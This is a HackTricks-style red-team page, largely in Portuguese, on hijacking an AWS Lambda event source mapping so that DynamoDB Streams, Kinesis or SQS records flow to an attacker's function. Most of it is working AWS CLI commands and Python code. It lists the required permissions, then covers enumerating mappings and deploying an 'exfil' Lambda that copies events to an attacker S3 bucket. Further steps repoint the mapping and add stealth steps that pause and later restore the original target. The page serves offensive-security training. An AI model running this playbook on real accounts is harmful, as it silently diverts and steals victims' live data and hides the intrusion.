AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Abuse UpdateEventSourceMapping para alterar a função Lambda de destino de um Event Source Mapping (ESM) existente, de modo que registros de DynamoDB Streams, Kinesis ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados em tempo real sem tocar nos produtores ou no código da função original.

Impact

  • Desviar e ler registros em tempo real de streams/filas existentes sem modificar os aplicativos produtores ou o código da vítima.
  • Possível exfiltração de dados ou adulteração da lógica ao processar o tráfego da vítima em uma função maliciosa.

Required permissions

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • Capacidade de implantar ou referenciar uma Lambda controlada pelo atacante (lambda:CreateFunction ou permissão para usar uma já existente).

Steps

  1. Enumerar os event source mappings da função vítima
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. Prepare an attacker-controlled receiver Lambda (mesma região; idealmente VPC/runtime similar)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
  1. Reapontar o mapeamento para a função do atacante
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. Gere um evento na fonte para que o mapeamento dispare (exemplo: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. Verifique se a função do atacante recebe o lote
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. Furtividade opcional
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

Notas:

  • Para SQS ESMs, a role de execução da Lambda que processa a fila precisa de sqs:ReceiveMessage, sqs:DeleteMessage, e sqs:GetQueueAttributes (managed policy: AWSLambdaSQSQueueExecutionRole).
  • O UUID do ESM permanece o mesmo; somente seu FunctionArn é alterado, então produtores e source ARNs permanecem inalterados.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks